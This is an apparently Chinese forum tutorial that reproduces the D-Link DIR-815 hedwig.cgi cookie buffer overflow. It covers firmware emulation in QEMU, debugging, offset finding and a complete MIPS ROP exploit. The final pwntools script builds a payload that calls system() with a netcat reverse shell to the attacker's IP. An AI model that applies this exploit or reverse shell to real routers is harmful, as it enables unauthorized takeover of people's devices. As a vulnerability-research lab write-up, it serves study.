一个方案:家用路由器D-LINK DIR-81漏洞挖掘实例分析
看雪论坛作者ID:herculiz
1
固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
gdbserver各架构对应调试文件(已经编译好了可以直接使用):https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
IDA6.8/IDA7.5:一个用在ubuntu调试,一个用在windows调试(7.5有更高级的mips反汇编器,可以方便参考伪代码)。或者谢安在Ghidra工具,专门反汇编反编译mips架构程序,目前只用于静态分析。
qemu-mips仿真的相关内核和虚拟硬盘(这里有坑,后面在说,总之一定要两者内核和虚拟硬盘匹配):https://people.debian.org/~aurel32/qemu/
2
exploitdb介绍:https://www.exploit-db.com/exploits/33863
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
3
漏洞定位
IDA静态调试分析-定位漏洞溢出点
参考1:函数功能流程说明
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/
4
参考2:qemu+IDA动态调试
https://blog.csdn.net/weixin_43194921/article/details/104704048
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
#!/bin/bash
#注意:里面=和变量之间一定不要有空格,坑,否则读入空数据。
#test=$(python -c "print 'uid='+open('content','r').read(2000)") #方式一,以文件形式读入内容,提前填充好构造的数据到content文件
#test=$(python -c "print 'uid=' + 'A'*0x600" )#方式二,直接后面接数据内容
test=$(python -c "print 'uid='+open('exploit','r').read()")
#test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")#可选构造数据
LEN=$(echo -n "$test" | wc -c) #如果有看《揭秘家用路由器0day漏洞挖掘技术》书的同学,书上这里应该是填错了
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null #-E参数:加入环境变量 ;2>/dev/null :不输出提示错误
rm -f ./qemu
python patternLocOffset.py -c -l 2000 -f content
# coding:utf-8
'''
生成定位字符串:轮子直接使用
'''
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
# pattern create
codeStr =''
print '[*] Create pattern string contains %d characters'%count
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
# pattern search
offset = 0
pattern = None
timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex:
#0x41613141
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)
source = generate(length,None)
offset = source.find(pattern)
if offset != -1: # MBS
print "[*] Exact match at offset %d" % offset
else:
print
"[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian():
'''
parse argument
'''
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
args = parser.parse_args()
'''
save all argument
'''
length= args.length
output = args.file
createCode = args.create
searchCode = args.search
if createCode and (0 <args.length <= 26*26*10):
generate(length,output)
elif searchCode and (0 <args.length <=26*26*10):
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'
if __name__ == "__main__":
if __name__ == '__main__':
mian()
python patternLocOffset.py -s 0x38694237 -l 2000
5
无论是第一个sprintf还是第二个sprintf函数发生溢出,分析的流程是一样的,定位漏洞位置和确定偏移值。
gdb-multiarch+QEMU动态调试分析验证
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :1234
b *0x409A54 #hedwigcgi_main()函数返回jr ra处,先前IDA静态分析可获得此地址
c
vmmap
https://pup2y.github.io/2020/05/22/dir815-huan-chong-qu-yi-chu-lou-dong-zai-fen-xi/
cache incoherency问题(影响EXP执行)
xdxd.love/2016/12/09/一个mips栈溢出利用/
坏字符问题
6
这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的/bin、/sbin、/usr/bin、/usr/sbin可以知道/sbin/httpd应该是用于监听web端口的http服务,同时查看/htdocs/web文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu仿真路由器系统的网卡
Address 192.168.x.x #qemu仿真路由器系统的IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
https://blog.csdn.net/weixin_44309300/article/details/118526235
sudo scp -r squashfs-root root@192.168.x.x:/root/
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"
7
1、接下来尝试调试/htdocs/web/hedwig.cgi文件
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
echo 0 > /proc/sys/kernel/randomize_va_space
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`" #content你自己构造的数据内容,原本是没有的按上面所述的方式去创建
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.x.x:9999 /htdocs/web/hedwig.cgi
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
root@debian-mipsel:~/squashfs-root#
export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root#
export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root#
export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root#
export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root#
export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root#
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
[10] 1052
cat: /proc/pid/maps: No such file or directory
root@debian-mipsel:~/squashfs-root#
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
[11] 1054
cat: /proc/pid/maps: No such file or directory
[10]+ Stopped /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#
/htdocs/web/hedwig.cgi & cat /proc/1056/maps
[12] 1056
00400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0 [heap]
77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.0
77f92000-77fa1000 ---p 00000000 00:00 0
77fa1000-77fa2000 r--p 0005d000 08:01 547906 /lib/libc.so.0
77fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.0
77fa3000-77fa8000 rw-p 00000000 00:00 0
77fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.1
77fd1000-77fe1000 ---p 00000000 00:00 0
77fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.0
77ff5000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00004000 08:01 547907 /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00005000 08:01 547907 /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
[11]+ Stopped /htdocs/web/hedwig.cgi
8
system方法:将上面的exp的libc基地址和偏移改掉然后cmd换成nc -e /bin/bash 192.168.x.145 9999(IP地址是ubuntu机器的,即攻击主机IP)。
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973 #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|/htdocs/web/hedwig.cgi
#echo "uid=1234"|./gdbserver.mipsel 192.168.x.145:9999 /htdocs/web/hedwig.cgi
9
由于各种原因涉及此行业,也是个人第一个完整复现成功的漏洞,在学习过程中发现许多问题,并且从解决过程中收获许多,正是因为遇到许多奇怪的坑,并且能找的相关资料甚少,所以花了大量时间完成了本文,文中内容尽量做到细节步骤都配图说明,希望能帮助到更多的同学。
10
1、DIR815缓冲区溢出漏洞分析相关
https://pup2y.github.io/2020/05/22/dir815-huan-chong-qu-yi-chu-lou-dong-zai-fen-xi/[1]
http://www.giantbranch.cn/2018/05/03/D-LinkDIR-815%E8%B7%AF%E7%94%B1%E5%99%A8%E5%A4%9A%E6%AC%A1%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90/[2]
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/#0x02-IDA%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90[3]
httpd配置文件httpd.conf规则说明和一些基本指令
看雪ID:herculiz
https://bbs.pediy.com/user-home-913238.htm
*本文由看雪论坛 herculiz 原创,转载请注明来自看雪社区
# 往期推荐
4. 记一次MEMZ样本分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!